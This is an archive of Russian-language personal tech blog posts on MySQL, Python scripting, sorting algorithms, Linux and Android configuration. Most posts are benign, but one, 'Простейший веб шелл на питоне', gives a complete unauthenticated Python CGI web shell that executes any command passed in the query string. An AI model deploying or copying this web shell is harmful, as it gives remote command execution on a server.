Лучше сейчас

Конвертация MyISAM -> InnoDB

2012-01-24T04:21:00.000-08:00

По мотивам предыдущего поста. :))
В интернете много всяких заметок по поводу преобразования MyISAM в InnoDB: и с помощью всяких скриптов, и утилит типа mysql_convert_table_format, и даже с помощью sed. Но нам сложности не нужны, поэтому предлагаю самый простой вариант. Во-первых, остановим сервер:

# /etc/rc.d/mysql-server stop

Затем нужно убедиться, что в конфиге /etc/mysql/my.cnf нет строчки skip-innodb, а также присутствует строчка типа:

innodb_data_file_path = ibdata1:100M:autoextend

Затем логинимся в консоль MySQL:

mysql -u <username> -p

И вводим команду:

ALTER TABLE <tablename> ENGINE='InnoDB';

Вот и всё! Моя гиговая табличка преобразовалась за шесть минут.

PS: конечно, рекомендую сделать бекап базы прежде чем конвертировать - на всякий случай.

Восстановление MySQL MyISAM

2012-01-12T13:38:00.000-08:00

Если у вас в логах внезапно начали появляться ошибки типа "Table './mybd/cw_table' is marked as crashed and last (automatic?) repair failed", то значит наш дорогой MyISAM дал сбой. А так как автовосстановления в нем не предусмотрели, то придется вручную нам это сделать. Во-первых, остановим сервер mysql:

# /etc/rc.d/mysql-server stop

Воспользуемся утилитой myisamchk для восстановления таблицы с ключом -r, что означает recovery:

# myisamchk -r cw_table

Это помогает в большинстве случаев. При запущенных случаях, если посыпались много таблиц, то можно проверить всю базу целиком:

# myisamchk --silent --force --fast --update-state /var/lib/mysql/mybd/*.MYI

Если сбои произошли в результате смерти жесткого диска и файлы восстановлялись с помощью черной магии, то вместо опции --fast лучше задать --medium-check или же --extended-check, если времени вагон / небольшие таблицы / мало индексов.

Задачи на собеседованиях

2011-12-15T11:43:00.000-08:00

В декабрьском номере журнала Хакер под моим чутким руководством стартовала новая ежемесячная рубрика про задачи на собеседованиях. Прошу высказывать здесь все пожелания и замечания!

Предложения по задачам для последующих выпусков складывайте сюда же.

Экспресс курс по сортировкам или вспомнить всё

2011-11-08T13:00:00.000-08:00

1. Пузырьком О(n^2). Два вложенных цикла, во внутреннем сравниваются пары соседних элементов, начиная с нижних. Таким образом за один проход внутреннего цикла получаем один отсортированный элемент на своем месте.

2. Выбором О(n^2). В исходном массиве ищем наименьший элемент и меняем его с первым. Далее повторяем эти шаги с подмассивом исходного, куда не входит уже отсортированный первый элемент.

3. Вставками O(n^2). Все элементы условно разделяются на готовую последовательность a1 ... ai-1 и входную ai ... an. Hа каждом шаге, начиная с i = 2 и увеличивая i на 1, берем i-й элемент входной последовательности и вставляем его на нужное место в готовую.

4. Шелла O(n log^2 n). Некая модификация сортировки вставками: здесь сначала сортируется не весь массив, а группы элементов, отстоящих друг от груга на некоторое расстояние d. Это расстояние постепенно уменьшаем и доходим до того, что сортируем опять же весь массив. Например, для массива 16 элементов разумно выбрать начальное d = 8, а потом уменьшать его в два раза. Сначала будет сортироваться 8 групп по 2 элемента, потом 4 группы по 4 и так далее.

5. Пирамидальная O(n log n). Из исходного массива сначала строится пирамида. Она является так же сбалансированным деревом и обладает свойством, что каждый элемент меньше либо равен родителю. Это дерево легко вписывается в массив, если вписывать элементы по порядку - слева направо и сверху вниз. Далее первый элемент (максимальный) меняем с последним (минимальным) и забываем его, т.е. не учитываем в пирамиде. Перестраиваем пирамиду согласно свойству, т.е. просеиваем первый элемент вниз. Повторяем шаги пока пирамида не иссякнет.

6. Быстрая O(n log n). Из массива выбирается некоторый опорный элемент a[i]. Запускается процедура разделения массива, которая перемещает все ключи, меньшие, либо равные a[i], влево от него, а все ключи, большие, либо равные a[i] - вправо.
Теперь массив состоит из двух подмножеств, причем левое меньше, либо равно правого. Для обоих подмассивов: если в подмассиве более двух элементов, рекурсивно запускаем для него ту же процедуру.

7. Поразрядная O(nk). Итак, в этом алгоритме у нас есть некие вспомогательные списки, называемые карманами. Их количество равно разрядности данных, например, для человеческих чисел = 10. Вначале они пустые и в них добавляются элементы нашего массива согласно значению первого разряда. Далее полученные списки склеиваются, и операция повторяется над полученным массивом, но только со 2 разрядом. И далее вплоть до максимального разряда самого длинного числа.

Matplotlib - анимация в реальных условиях

2011-10-20T14:10:00.000-07:00

На сайте проекта - http://matplotlib.sourceforge.net/examples/index.html - даны базовые примеры анимации с графиками, которые, как обычно бывает, плохо работают в боевых условиях. Например, у меня имеется прога на GTK, с отдельным потоком, где производятся все вычисления для графиков. По-хорошему, там же и надо вызывать функцию перерисовки, но не тут-то было!

Иксы выкатывают мне неведомую ошибку:

The program 'panel.py' received an X Window System error.This probably reflects a bug in the program.The error was 'BadDrawable (invalid Pixmap or Window parameter)'. (Details: serial 6974 error_code 9 request_code 62 minor_code 0) (Note to programmers: normally, X errors are reported asynchronously; that is, you will receive the error a while after causing it. To debug your program, run it with the --sync command line option to change this behavior. You can then get a meaningful backtrace from your debugger if you break on the gdk_x_error() function.)

Я так и не понял почему такое может происходить, поэтому начал искать другой способ запуска функции через определенный промежуток времени. В этом мне помог такой кодес:

import gobject
gobject.timeout_add(1000, self.animate)

Такой замес тупо вызывает функцию animate каждую секунду. Все довольны!

Подключение некоторых Android 2.3 based устройств к Linux

2011-10-07T08:29:00.000-07:00

Не знаю уж почему так делают, но на некоторых прошивках Android 2.3 при подключении к компу устройство по умолчанию распознается как модем, а не как флешка, что сопровождается подобными деферамбами dmesg:

[81405.955234] usb 2-2: new high speed USB device number 7 using ehci_hcd
[81406.098927] cdc_acm 2-2:1.0: This device cannot do calls on its own. It is not a modem.
[81406.099041] cdc_acm 2-2:1.0: ttyACM0: USB ACM device

На этом всё, то есть как флешка оно не определяется. Итак, чтобы исправить это, заходим в телефон и набираем номер *#7284#, выскочит некая PhoneUtil, где и надо выбрать в обоих случаях пункт PDA. Вот и всё, теперь андроид монтируется как в старые добрые времена.

Перепрошивка Galaxy Tab на Android 2.3

2011-08-28T10:57:00.000-07:00

Samsung уже давно анонсировал обновление Android 2.3 для Galaxy Tab, но официально распространять его в нашей стране не торопится. Мне это надоело и я решил перепрошить свой девайс самостоятельно итальянской версией системы.
Для этого воспользуемся прогой heimdall, которая является кроссплатформенной, в отличие от остальных:

# dpkg -i heimdall_1.3.0_i386.deb

Далее нужно скачать саму прошивку, можно отсюда. После этого распаковываем tar в отдельную папку и добавляем туда файл P1_add_hidden.pit из основного архива. Потом переводим наш планшет в режим перепрошивки, для этого надо выключить его, а потом зажать кнопку включения и кнопку понижения громкости пока не появится значок с гастарбайтером. Подключаем девайс к компу через usb и вводим команду:

$ heimdall flash --repartition --pit P1_add_hidden.pit --cache cache.rfs --dbdata dbdata.rfs --factoryfs factoryfs.rfs --kernel zImage

Всё! Перепрошивка занимает несколько минут, потом устройство само перезагрузится и можно начинать переустанавливать весь софт. =\

MySQL и Python

2011-08-19T16:34:00.000-07:00

Итак, тут я расскажу как быстро развернуть СУБД мускуль и рулить ей из питона. Начнем. Сперва установим нужные пакеты. Мускуль:

# apt-get install mysql-server

В процессе установки спросят пароль для рута, лучше ввести что-нибудь и не забыть! Ставим модуль для питона:

# apt-get install python-mysqldb

Ну вот, после этого было бы неплохо создать базу данных и пользователя к ней. Логинимся под рутом:

$ mysql -u root -p

Создаем базу:

mysql> CREATE DATABASE testdb;

Создаем пользователя с паролем 'test', даем все права и выходим:

mysql> CREATE USER 'user'@'localhost' IDENTIFIED BY 'test';
mysql> USE testdb;
mysql> GRANT ALL ON testdb.* TO 'user'@'localhost';
mysql> quit;

Теперь небольшой пример:

import MySQLdb as mdb

conn = mdb.connect('localhost', 'user', 'test', 'testdb')
cursor = conn.cursor()
cursor.execute("SELECT VERSION()")
data = cursor.fetchone()
print data
cursor.close()
conn.close()

Здесь просто выполняется запрос "SELECT VERSION()" и соотвественно версия субд выводится на экран. Функция fetchone() возвращает одну строку. Если запрос возвращает множество строк, то чтобы их получить можно использовать fetchall(). Но если записей очень много, то это может быть расточительно для памяти. В таком случае нам поможет атрибут rowcount, где содержится количество строк, которое вернул запрос:

cursor.execute("SELECT * FROM table")
numrows = int(cursor.rowcount)
for i in xrange(numrows):
row = cursor.fetchone()
print row

Кстати, row представляет из себя кортеж, так что можно с легкостью получить доступ к каждому элементу выборки. Ну а дальнейшие изыскания ограничиваются только вашими знаниями языка SQL!

Python + Excel или создаем отчеты в формате XLS

2011-08-19T15:47:00.000-07:00

Создавать экселевские файлы в питоне элементарно! Для этого есть модуль xlwt. Ставим:

# apt-get install python-xlwt

Простейший пример:

import xlwt

# тут важно поставить 'utf-8', если надо писать русские символы и так далее
wbk = xlwt.Workbook('utf-8')
# добавляем лист
sheet = wbk.add_sheet('sheet 1')
# пишем в первую строку и первый столбец
sheet.write(0, 0, 'bla bla')
# сохраняем в файл
wbk.save('test.xls')

Вот и всё! Конечно, функционал модуля этим не ограничивается, все интересующиеся могут ознакомиться с ним на страницах документации.

Установка Linux на долбаную флешку

2011-07-24T05:38:00.000-07:00

Сегодня я закоспектирую тут, как правильно ставить НЕ live дистрибутив Linux на флешку, в моем случае Debian, а то я забываю некоторые моменты и парюсь с этим каждый раз. =\

Итак, всё начинается с форматирования флешки с помощью fdisk и mkfs. Я ставлю ФС ext2, потому что там нет журналирования, а с журналом флешка быстро загнется. Можно воспользоваться и ext3/4 с отключенным журналом, но это дополнительный гемор. Кстати, рекомедую раздел создавать именованый, потом станет понятно зачем:
# mkfs.ext2 -L TRANSCEND /dev/sdc1

Монтируем флешку:
# mount /dev/sdc1 /mnt

Ставим туда базовую систему:
# debootstrap --arch i386 lenny /mnt

Для Debian есть специальная утилита debootstrap, для других дистров может и нет, но можно и вручную залить туда из образа, например. После установки чрутимся в нашу новую системку:
# chroot /mnt /bin/bash

В этой системе уже можем делать что-нибудь, ставить пакеты например, но для начала надо апдейтнуть список, чтобы APT не ругался на не подписанные пакеты. Ну и сразу поставим GRUB и ядро:
# apt-get update
# apt-get install linux-image-2.6-686 grub

Пишем в /etc/fstab такую инфу, чтобы все правильно монтировалось:

LABEL=TRANSCEND / ext2 defaults,errors=remount-ro,noatime 0 1
proc /proc proc defaults 0 0
tmpfs /tmp tmpfs defaults,noatime 0 0
tmpfs /var/lock tmpfs defaults,noatime 0 0
tmpfs /var/log tmpfs defaults,noatime 0 0
tmpfs /var/run tmpfs defaults,noatime 0 0
tmpfs /var/tmp tmpfs defaults,noatime 0 0

И после этого начинается самая шляпа - надо сделать флешку загрузочной. Из основной системы ставим GRUB в MBR флешки:
# grub-install --root-directory=/mnt /dev/sdc

И можно уже попробовать загрузиться, НО! Проблема в том ,что Lenny использует GRUB 0.**, а все более-менее современные системы - GRUB 1.**, а они смотрят конфиги в разных местах, /boot/grub/menu.lst и /boot/grub/grub.cfg соотвественно. Грузимся через QEMU:
# qemu -hda /dev/sdc

Получаем консоль граба, который не нашел конфиг, вводим туда такие фразы:
set root=(hd0,msdos1)
linux /vmlinuz root=LABEL=TRANSCEND
initrd /initrd.img
boot

Все! Система загружается. Дальше логинимся под рутом без пароля и ставим нужный GRUB в MBR:
# update-grub
# grub-install /dev/hda

Последний момент, надо в /boot/grub/menu.lst задать корень через метку флешки, потому что на разных компах файлы устройства флешки могут различаться:

kernel /boot/vmlinuz-2.6.22-3-686 root=LABEL=TRANSCEND ro

Работа с COM портом в python: PyVISA или pySerial?

2011-06-26T16:02:00.000-07:00

Для питона существует два модуля для работы с последовательными портами, я бы однозначно рекомендовал pySerial по нескольким причинам:

1. PyVISA сложен в установке, нужно дополнительно устанавливать библиотеку nivisa.
2. PyVISA не видит эмулированный через USB последовательный порт (т.е. переходник USB->COM).
3. В PyVISA нельзя задавать порт напрямую через файл устройства, например, в случае переходника USB->COM это будет /dev/ttyUSB0.

PySerial всех этих недостатков лишен, при этом очень прост в использовании. При работе с последовательным портом не надо забывать выставить одинаковые настойки на компе и собственно устройстве, в особенности это касается скорости передачи и бита четности. Все настройки могут задаваться при создании экземпляра объекта Serial или после через атрибуты.

Страница документации.

Парсим логи при помощи генераторов - 2

2011-05-29T18:20:00.000-07:00

Дано: сотни логов веб-сервера, разбросанные по разным директориям. Возможно, заархивированные.
Требуется: понять сколько байтов было передано :)

В питоне есть замечательная функция os.walk(), позволяющая блуждать по файловой системе:

import os

for path, dirlist, filelist in os.walk(topdir):

    # path : текущая директория

    # dirlist : список поддиректорий

    # filelist : список файлов

...

Для достижения цели потребуется создать несколько функций:
1. Функция-генератор, возвращающая список файлов по заданному шаблону:

import os
import fnmatch
 

def gen_find(filepat,top):
    for path, dirlist, filelist in os.walk(top):
        for name in fnmatch.filter(filelist, filepat):
            yield os.path.join(path, name)

Примеры использования:

pyfiles = gen_find('*.py', '/')
logs = gen_find('access-log*', '/usr/www/')

2. Функция-генератор, которая принимает список файлов, и, если среди них есть архивы, то возвращает распакованные файлы. Если файл не архив, то просто открывает его:

import gzip

import bz2
 

def gen_open(filenames):
    for name in filenames:
        if name.endswith(".gz"):
            yield gzip.open(name)
        elif name.endswith(".bz2"):
            yield bz2.BZ2File(name)
        else:
            yield open(name)

3. Функция (разумеется генератор), которая возвращает единую последовательность результатов, принимая при этом несколько последовательностей (в нашем случае передаем открытые файлы, а получаем последовательность строк):

def gen_cat(sources):
    for s in sources:
        for item in s:
            yield item

Ну вот, после реализации всех этих функций осталось только немного подправить прошлый исходник, чтобы он теперь работал с любым количеством файлов:

filenames = gen_find('access-log*', '/usr/www')
logfiles = gen_open(filenames)
loglines = gen_cat(logfiles)
bytecolumn = (line.rsplit(None, 1)[1] for line in loglines)
bytes = (int(x) for x in bytecolumn if x != '-')
print "Total", sum(bytes)

Особые эстеты могут свернуть этот исходник вплоть до 1 строчки, благодаря тому факту, что в питоне все функции - высшего порядка.

Парсим логи при помощи генераторов

2011-05-29T16:10:00.000-07:00

Задача: понять по логам Apache сколько байтов мы передали.
NB: файлы мб большие (несколько гигов).

Формат логов примерно следуюший:

217.168.25.4 - - [28/May/2011:14:06:27 +0400] "GET / HTTP/1.0 200 8509

Надо получать из каждой строки последнюю циферку, при этом если ничего не передавалось в запросе (например, произошла ошибка), то вместо циферки будет дефис. Как и в прошлый раз предлагаю два варианта: быдлокодерский и православный. Итак, номер один, без использования генератора:

wwwlog = open("access-log")

total = 0

for line in wwwlog:

    bytestr = line.rsplit(None,1)[1]

    if bytestr != '-':

        total += int(bytestr)

print "Total", total

И, с генератором:

wwwlog = open("access-log")

bytecolumn = (line.rsplit(None,1)[1] for line in wwwlog)

bytes = (int(x) for x in bytecolumn if x != '-')

print "Total", sum(bytes)

Выглядит компактнее, не правда ли? В данном случае используется выражение-генератор, эдакий "цикл for наоборот", который выдает кортеж из результатов, суммирующийся далее.

Скрипт для скачивания содержимого по ссылкам

2011-05-18T07:22:00.000-07:00

Тестовое задание в одной конторе (не будем называть пальцем):

Напишите скрипт, который будет считывать список URL из файла (одна строка - один URL), скачивать их не более чем в N потоков и сохранять каждую страницу в отдельный файл. N задается аргументом командной строки и по умолчанию равно 10. Имена результирующих файлов значения
не имеют.

import sys
import threading
import Queue
import urllib2

class DownloadThread(threading.Thread):
    def run(self):
        headers = {'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)'}
        while urlsPool.qsize() > 0:
            logfile = open(str(urlsPool.qsize()), 'w')
            req = urllib2.Request(urlsPool.get(), None, headers)
            logfile.write(urllib2.urlopen(req).read())
            logfile.close()

if len(sys.argv) < 2:
    print 'Usage: downloader.py [-n <number>] FILE\n\
"-n <number>" - number of threads (default 10)'
    sys.exit(1)
if len(sys.argv) == 4 and sys.argv[1] == '-n':
    threads = int(sys.argv[2])
else:
    threads = 10
urlsPool = Queue.Queue(0)
for url in open(sys.argv[-1]):
    urlsPool.put(url)
for x in xrange(threads):
    DownloadThread().start()

Немного про итераторы в питоне

2011-05-18T07:07:00.000-07:00

В рамках акции по избавлению своих программ на питоне от быдлокода, я, как бывший программист на Си, открыл для себя много занимательных вещей. Сегодня немного про итераторы - объекты, которые позволяют программисту перебирать значения. Технически это реализуется с помощью метода next, который при каждом вызове возвращает следующий элемент коллекции. Например, так прочитает содержимое файла бывший быдлопрогаммист на Си:

file = open('file.txt')
while True:
    line = file.readline()
    if not line: break
    print line

А так это сделает грамотный питонер (объект файла поддерживает итерационный протокол, который используется в цикле for):

for line in open('file.txt')
    print line

Здесь циклом for неявно вызывается метод next и в конце обрабатывается исключение StopIteration, открытие файла также происходит неявно, поэтому можно избежать проблем с памятью при работе с большими файлами.

У словарей тоже есть итератор! Так можно выполнить обход всех ключей словаря:

D = {'a' : 1, 'b' : 2, 'c' : 3}
for key in D:
    print key, D[key]

Итераторы в строках тоже могут быть весьма полезны. Следующий код получает и выводит на экран каждый 2 символ строки S (ещё здесь используется срез с третьим параметром, про который многие забывают):

for x in S[::2]:
    print x

Соотвествующий быдлокод, который к тому же работает медленнее, т.к. при каждом проходе цикла осуществляется доступ к объекту строки:

for i in range(0, len(S), 2):
    print S[i]

В целом в питоне любая коллекция поддерживает итерационный протокол, и его использование в коде не только способствует его компактности, но и благотворно отражается на скорости программы.

Бразильский танец с бубном

2011-03-24T15:43:00.000-07:00

Очередная моя статья в свежей прессе!

На этот раз рассуждал о настройке, оптимизации работы и обеспечении безопасности Samba-клиента в Linux.

Убираем анимацию табов в Firefox 4

2011-03-22T11:48:00.000-07:00

Сегодня (почтенная публика уже, наверное, в курсе) состоялся релиз Firefox 4! Всё вроде хорошо: и быстрота, и простота, и так далее. Но, следуя трендам, разработчики прикрутили анимацию при открытии таба, которая лично меня ужасно раздражает.
А убрать её через штатное меню настройки нельзя, а можно вот так: надо набрать в строке адреса "about:config", в фильтре ввести "tab", найти параметр browser.tabs.animate и установить его значение в false.

Выставляем правильное разрешение на внешнем дисплее

2011-03-21T14:25:00.000-07:00

Как выяснилось, мой уютный ThinkPad с Арчем на борту не сильно дружит с телеком Samsung по VGA кабелю, а именно дает выставлять разрешение максимум 1024x768, хотя поддерживается там 720p (1360x768). Причину такого поведения доподлинно выяснить не удалось, но тут скорее всего два варианта: либо дрова неправильно обрабатывают EDID блок, либо этот блок неправильно формируется на телеке (либо я вообще неправильно настроил иксы).
Для исправления ситуации командуем, чтобы узнать параметры этого разрешения, так называемый VESA CVT mode line:

$ cvt 1360 768

Далее добавляем этот режим в список доступных:

$ xrandr --newmode "1360x768_60.00" 84.75 1360 1432 1568 1776 768 771 781 798 -hsync +vsync

И добавляем режим для конкретного выхода:

$ xrandr --addmode VGA1 1360x768_60.00

После этого нужное разрешение будет доступно для выбора в xrandr или фронтэнде к нему для вашего WM/DE. Я, вследствие природной лени, пользуюсь lxrandr. Чтобы каждый раз не вбивать команды, можно записать их в файлы ~/.xinitrc или ~/.xprofile - они выполнятся при старте иксов.

Либо можно добавить в xorg.conf блок типа такого:

Section "Monitor"
    Identifier "External VGA"
    Modeline "1360x768_60.00"   84.75 1360 1432 1568 1776 768 771 781 798 -hsync +vsync
    Option "PreferredMode" "1360x768_60.00"
EndSection

Считаем количество ненулевых битов

2011-03-11T12:12:00.000-08:00

"Предложите способ посчитать количество ненулевых битов в содержимом файла с именем blob.dat". Предлагаю:

#!/usr/bin/python2.7

def bstr(n):
return ''.join([str(n >> x & 1) for x in (7,6,5,4,3,2,1,0)])

f = file('blob.dat', 'rb')
bytes = f.read()
sheet = ''.join([bstr(ord(c)) for c in bytes])

amount = 0
for bit in sheet:
if bit == '1': amount += 1

print amount

Скринкастинг в Linux

2011-03-03T11:38:00.000-08:00

Вы всё ещё снимаете видео о том, как похекали сайт NASA, с помощью recordmydesktop? Не позорьтесь! Вот вам кошерная команда:

$ ffmpeg -f x11grab -s 1280x800 -r 25 -g 250 -i :0.0 -sameq -vcodec qtrle out.mov

1280x800 нужно заменить в соотвествии с разрешением экрана. На мой взгляд такой набор параметров обеспечивает оптимальное соотношение скорость/качество.

Liberte Linux

2011-02-26T08:12:00.000-08:00

Чуть было не забыл, что недавно вышла в свет моя первая статья в светском журнале Хакер про дистрибутив для настоящего анонимуса!

UPD: текст статьи доступен здесь.

Парсим XML

2011-02-17T10:59:00.000-08:00

Даны два xml-файла, отличающиеся только атрибутами
Файл 1:

<root>
<nodeA val1="1" val2="2" val3="3">
<nodeB val1="1" val2="2" val3="3"/>
</nodeA>
<nodeC val1="1" val2="2" val3="3"/>
</root>

Файл 2:

<root>
<nodeA val1="1" val2="X" val4="4">
<nodeB val1="1" val2="X" val4="4"/>
</nodeA>
<nodeC val1="1" val2="X" val4="4"/>
</root>

Надо реализовать на любом скриптовом языке слияние Файла 1 в Файл 2 так, чтобы в Файле 2:
1) остались уникальные атрибуты Файла 2;
2) присутствовали уникальные атрибуты Файла 1;
3) совпадающие атрибуты имели значения из Файл 1.

Я делал с помощью модуля lxml, которой нет в стандартной поставке питона. Чтобы использовать стандартный модуль xml, надо просто заменить первую строчку на import xml.etree.ElementTree as etree - интерфейсы в этом случае одинаковые.

from lxml import etree 

file1 = open('1.xml', 'r')
tree1 = etree.parse(file1)
file1.close()
root1 = tree1.getroot()

file2 = open('2.xml', 'r')
tree2 = etree.parse(file2)
file2.close()
root2 = tree2.getroot()

for i in range(len(root1)):
    for ikey in root1[i].keys():
        root2[i].attrib[ikey] = root1[i].attrib[ikey]

    if len(root1[i]) > 0:
        for j in range(len(root1[i])):
            for jkey in root1[i][j].keys():
                root2[i][j].attrib[jkey] = root1[i][j].attrib[jkey]

file2 = open('2.xml', 'w')
file2.write(etree.tostring(root2))
file2.close()

Атрибуты и их значения здесь представлены в виде словарей, поэтому ими можно легко манипулировать. Более подробная информация здесь: http://lxml.de/tutorial.html

Проверка логина на корректность

2011-02-16T03:33:00.000-08:00

Условие такое:

Логин должен начинаться с латинской буквы, может состоять из латинских букв, цифр, точки и минуса и должен заканчиваться латинской буквой или цифрой. Минимальная длина логина – 1 символ. Максимальная – 20
символов.

import re
from operator import truth

def logincheck(login):
   if login == '' or len(login) > 20:
       print 'False'
       return
   elif len(login) > 2:
       if (truth(re.match('[a-zA-Z]', login[0])) + \
           truth(re.match('[a-zA-Z0-9]', login[-1])) + \
           truth(re.match('^([a-zA-Z0-9\-\.])+$', login[1:-1]))) == 3:
           print 'True'
       else: print 'False'
       return
   elif len(login) == 2:
       if (truth(re.match('[a-zA-Z]', login[0])) + \
           truth(re.match('[a-zA-Z0-9]', login[-1]))) == 2:
           print 'True'
       else: print 'False'
       return
   else:
       if (truth(re.match('[a-zA-Z]', login[0]))) == 1:
           print 'True'
       else: print 'False'

Здесь проверка разбита на несколько этапов: для логина > 2 символов, для = 2 символам и для = 1 символу. Можно, конечно, сделать в 1 регулярное выражение, но мои копошения так и не смогли вывести такую регулярку. Если кто покажет - буду очень рад.

Преобразование числа в IP адрес

2011-02-15T03:18:00.000-08:00

Возобновляю записи по питону! На сайте Яндекса можно найти много тренировочных задачек, что ж, приступим. :)

def ip2str(ip):
        if ip > 0xffffffff:
                raise ValueError('number must be 32 bit')
        ipstr = str(ip >> 24) + '.' + \
                str((ip & 0x00ffffff) >> 16) + '.' + \
                str((ip & 0x0000ffff) >> 8) + '.' + \
                str((ip & 0x000000ff))
        print ipstr

Эта функция принимает число, и печатает его в виде строки IP адреса. Как-то так сделал с помощью наложения масок и байтовых сдвигов.

Консоль - лучший друг линуксоида

2011-02-14T13:30:00.000-08:00

Поэтому требует особенного внимания к себе. Недавно перешел на всеми любимый urxvt, и там есть возможность менять стандартные цвета терминала для лучшего восприятия информации. Но какие параметры за что отвечают? Вразумительного ответа в сети я не нашел и путем экспериментов выяснил сам. Во-первых, нужно создать файл, который будет выводить надписи в терминал разными цветами. Вот он:

#!/bin/bash

echo -e "\e[0;30mCOLOR_BLACK\t\e[1;30mCOLOR_BOLD_BLACK"
echo -e "\e[0;31mCOLOR_RED\t\e[1;31mCOLOR_BOLD_RED"
echo -e "\e[0;32mCOLOR_GREEN\t\e[1;32mCOLOR_BOLD_GREEN"
echo -e "\e[0;33mCOLOR_YELLOW\t\e[1;33mCOLOR_BOLD_YELLOW"
echo -e "\e[0;34mCOLOR_BLUE\t\e[1;34mCOLOR_BOLD_BLUE"
echo -e "\e[0;35mCOLOR_PURPLE\t\e[1;35mCOLOR_BOLD_PURPLE"
echo -e "\e[0;36mCOLOR_CYAN\t\e[1;36mCOLOR_BOLD_CYAN"
echo -e "\e[0;37mCOLOR_WHITE\t\e[1;37mCOLOR_BOLD_WHITE"

Настройки urxvt надо записывать в файл ~/.Xdefaults, среди которых есть color0-15, соответствие которых с выводом вышенаписанного скрипта представлено ниже:

color0 = COLOR_BLACK
color1 = COLOR_RED
color2 = COLOR_GREEN
color3 = COLOR_YELLOW
color4 = COLOR_BLUE
color5 = COLOR_PURPLE
color6 = COLOR_CYAN
color7 = COLOR_WHITE
color8 = COLOR_BOLD_BLACK
color9 = COLOR_BOLD_RED
color10 = COLOR_BOLD_GREEN
color11 = COLOR_BOLD_YELLOW
color12 = COLOR_BOLD_BLUE
color13 = COLOR_BOLD_PURPLE
color14 = COLOR_BOLD_CYAN
color15 = COLOR_BOLD_WHITE

Немного повозившись поставил следующие цвета:

URxvt.color0: #333333
URxvt.color1: #d43a2a
URxvt.color2: #00c800
URxvt.color3: #cdcd00
URxvt.color4: #005d9a
URxvt.color5: #cd68cd
URxvt.color6: #009f9f
URxvt.color7: #dddddd
URxvt.color8: #333333
URxvt.color9: #d43a2a
URxvt.color10: #00c800
URxvt.color11: #cdcd00
URxvt.color12: #005d9a
URxvt.color13: #cd68cd
URxvt.color14: #009f9f
URxvt.color15: #dddddd

Скриншот всего этого непотребства:

MinimalGray — тема для OpenBox

2010-08-21T13:38:00.000-07:00

Пару вечеров угробил на то, чтобы сделать самую лучшую тему для опенбокса, как я её себе представляю. Вдохновение дала популярная тема Dyne (при ближайшем рассмотрении которой выяснилось весьма кривое оформление кода).
Итак, что же в этой теме есть и чего там нет? В отличие от Dyne более светлые декорации окон, есть границы декорированных окон (1 пиксель), используется более читабельный нежирный шрифт с тенями, концептуальный индикатор переключения рабочих столов. Присутствует классическое затемнение декорации неактивного окна на один тон, что в общем-то не так заметно, но как бы традиционно. Кнопки управления окном появляются только при наведении. Все остальные понты и градиенты отсутствуют.

Скачивать архив тут. Распаковать нужно в /usr/share/themes или ~/.themes
Материал, использованный при подготовке.

slock — самый лучший блокиратор экрана

2010-08-18T01:30:00.000-07:00

Про эту программу можно с уверенностью сказать — она делает что-то одно и делает это хорошо. Slock блокирует и гасит экран без лишних понтов, разблокировка происходит без всяких приглашений ввести пароль, его просто надо ввести и нажать Enter. Я в первый раз чуть не обоссался, когда всё погасло и ничего не реагировало, так что не повторяйте моих ошибок.

А классический скринсейвер — это, по-моему, слишком расточительно. Мало того, что он жрет много процессорного времени, если там стоит мало-мальски серьезная сцена. Так и ещё много ненужного функционала, который работает постоянно, как например демон в xscreensaver.

Правда при использовании slock возможно придется изменить параметр, отвечающий за отключение экрана из-за неактивности в xorg.conf (по умолчанию 10 минут, маловато), нужно добавить в секцию ServerFlags (у меня этой секции вообще не было, пришлось добавить и её) следующую опцию: Option "BlankTime" "240". 240 — количество минут, оптимальное на мой взгляд время, чтобы экран точно не погас во время просмотра какого-нибудь фильма. :)

Ах да, страничка программы. Но лучше — ищите в репозиториях своих дистрибутивов.

Поднимаем ZNC на gentoo

2010-07-28T05:36:00.000-07:00

ZNC - известный irc bouncer, т.е. выступает в качестве прокси при соединении с серверами irc. Полезен не только в том плане, что сохраняет личные сообщения и статус онлайн в отсутствие клиента, но и может шифровать трафик от клиента до себя.

Ну и после появления у себя уютненького сервера на gentoo, я, разумеется, начал ставить туда всё что ни попадя. :) Собственно говоря, процесс поднятия ZNC практически одинаков для всех систем, под которые он предназначен, отличается лишь инсталляция. Я использовал emerge:

# emerge irc-net/znc

Добавление пользователя проще всего делать в интерактивном режиме:

$ znc --makeconf

Тут он спросит всякие настройки типа юзер/логин/порт/сервер/канал и сформирует конфиг ~/.znc/configs/znc.conf
Всё, теперь простой командой $ znc в фоне запускается процесс, слушающий порт, который был указан при конфигурации. Подключаться к нему нужно так, если бы это был простой irc сервер, т.е. в настройках указываем ip/port - физического сервера, на котором работает znc, и user/password - того, которого создали при конфигурировании znc.

Более подробная информация: http://en.znc.in/wiki/ZNC

Простейший веб шелл на питоне

2010-07-19T12:28:00.000-07:00

 #!/usr/local/bin/python
import cgitb, os, urllib, subprocess

cgitb.enable()
str_command = urllib.unquote(os.environ['QUERY_STRING'])

p = subprocess.Popen(['/usr/local/bin/bash', '-c', str_command],\
    stdout = subprocess.PIPE, stderr = subprocess.STDOUT)
output = urllib.unquote(p.stdout.read())

print """Content-Type: text/html\n
<html><body>
<pre>
$ %s
%s
</pre>
</body></html>""" % (str_command, output)

Скрипт для изменения ориентации экрана (Lenovo Thinkpad X200t)

2010-07-19T09:36:00.000-07:00

Забинден у меня на кнопочку, меняет ориентацию экрана (а также стилуса и тачскрина) по часовой стрелке при каждом нажатии. По идее должен подходить ко всем планшетным ноутам. Единственное, что может потребоваться изменить - это имена устройств, которые можно узнать командой xsetwacom --list dev.

#!/bin/bash

function set_normal {
xrandr -o normal
xsetwacom set cursor Rotate none
xsetwacom set touch Rotate none
xsetwacom set eraser Rotate none
orientation="normal"
}

function set_right {
xrandr -o right
xsetwacom set cursor Rotate cw
xsetwacom set touch Rotate cw
xsetwacom set eraser Rotate cw
orientation="right"
}

function set_left {
xrandr -o left
xsetwacom set cursor Rotate ccw
xsetwacom set touch Rotate ccw
xsetwacom set eraser Rotate ccw
orientation="left"
}

function set_inverted {
xrandr -o inverted
xsetwacom set cursor Rotate half
xsetwacom set touch Rotate half
xsetwacom set eraser Rotate half
orientation="inverted"
}

orientation="$(xrandr --query --verbose | grep 'LVDS1 connected' | awk '{print $5}')"

if [ "$orientation" = "normal" ]; then
        set_right
elif [ "$orientation" = "right" ]; then
        set_inverted
elif [ "$orientation" = "inverted" ]; then
        set_left
elif [ "$orientation" = "left" ]; then
        set_normal
fi

Использование wpa_supplicant
